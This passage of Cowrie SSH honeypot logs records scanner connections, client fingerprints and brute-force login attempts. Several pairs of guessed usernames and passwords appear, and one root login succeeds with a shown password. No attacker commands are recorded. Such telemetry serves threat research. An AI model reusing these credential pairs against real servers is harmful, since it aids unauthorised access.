ha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:40:35.680851Z","src_ip":"195.178.110.218","session":"045460eb1793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:40:35.905831Z","src_ip":"195.178.110.218","session":"045460eb1793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:40:36.983259Z","src_ip":"195.178.110.218","session":"045460eb1793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":34258,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7446291f7d3","protocol":"ssh","message":"New connection: 64.176.195.200:34258 (10.17.0.5:22) [session: e7446291f7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:41:32.731061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:41:32.735512Z","src_ip":"64.176.195.200","session":"e7446291f7d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:41:32.740674Z","src_ip":"64.176.195.200","session":"e7446291f7d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calendar","password":"password","message":"login attempt [calendar/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:41:32.752277Z","src_ip":"64.176.195.200","session":"e7446291f7d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:41:33.760556Z","src_ip":"64.176.195.200","session":"e7446291f7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.162.229.42","src_port":49918,"dst_ip":"159.203.135.109","dst_port":22,"session":"5221301890e6","protocol":"ssh","message":"New connection: 61.162.229.42:49918 (159.203.135.109:22) [session: 5221301890e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:41:45.682220Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:41:45.913550Z","src_ip":"61.162.229.42","session":"5221301890e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":55792,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0e84c6a35b8","protocol":"ssh","message":"New connection: 172.187.200.190:55792 (10.17.0.5:22) [session: f0e84c6a35b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:42:33.075599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:42:33.081287Z","src_ip":"172.187.200.190","session":"f0e84c6a35b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:42:33.165906Z","src_ip":"172.187.200.190","session":"f0e84c6a35b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alma","password":"123456","message":"login attempt [alma/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:42:33.336137Z","src_ip":"172.187.200.190","session":"f0e84c6a35b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:42:34.521919Z","src_ip":"172.187.200.190","session":"f0e84c6a35b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":35016,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b51129a8256","protocol":"ssh","message":"New connection: 172.105.63.214:35016 (10.17.0.5:22) [session: 1b51129a8256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:42:52.579077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:42:52.583453Z","src_ip":"172.105.63.214","session":"1b51129a8256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:42:52.793573Z","src_ip":"172.105.63.214","session":"1b51129a8256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"internet","password":"welcome","message":"login attempt [internet/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:42:53.216595Z","src_ip":"172.105.63.214","session":"1b51129a8256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:42:54.429353Z","src_ip":"172.105.63.214","session":"1b51129a8256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41314,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4b27350df86","protocol":"ssh","message":"New connection: 195.178.110.218:41314 (159.203.135.109:22) [session: c4b27350df86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:43:20.969459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:43:20.974198Z","src_ip":"195.178.110.218","session":"c4b27350df86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:43:21.054030Z","src_ip":"195.178.110.218","session":"c4b27350df86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:43:21.291842Z","src_ip":"195.178.110.218","session":"c4b27350df86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:43:22.373849Z","src_ip":"195.178.110.218","session":"c4b27350df86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":56324,"dst_ip":"159.203.135.109","dst_port":22,"session":"2767a8648a5f","protocol":"ssh","message":"New connection: 138.128.241.222:56324 (159.203.135.109:22) [session: 2767a8648a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:44:32.316268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:44:32.320454Z","src_ip":"138.128.241.222","session":"2767a8648a5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:44:33.061982Z","src_ip":"138.128.241.222","session":"2767a8648a5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samuel","password":"123456","message":"login attempt [samuel/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:44:36.271367Z","src_ip":"138.128.241.222","session":"2767a8648a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:44:37.290156Z","src_ip":"138.128.241.222","session":"2767a8648a5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":50994,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9b00d75f63c","protocol":"ssh","message":"New connection: 77.90.185.17:50994 (10.17.0.5:22) [session: a9b00d75f63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:45:41.215825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:45:41.220449Z","src_ip":"77.90.185.17","session":"a9b00d75f63c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:45:41.313390Z","src_ip":"77.90.185.17","session":"a9b00d75f63c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!QAZ2wsx#EDC","message":"login attempt [root/!QAZ2wsx#EDC] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:45:41.765722Z","src_ip":"77.90.185.17","session":"a9b00d75f63c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:45:53.407228Z","src_ip":"77.90.185.17","session":"a9b00d75f63c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":38790,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d66b9c0cc27","protocol":"ssh","message":"New connection: 195.178.110.218:38790 (159.203.135.109:22) [session: 3d66b9c0cc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:46:02.949451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:46:02.953017Z","src_ip":"195.178.110.218","session":"3d66b9c0cc27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:46:03.032751Z","src_ip":"195.178.110.218","session":"3d66b9c0cc27","protocol":"ssh"}
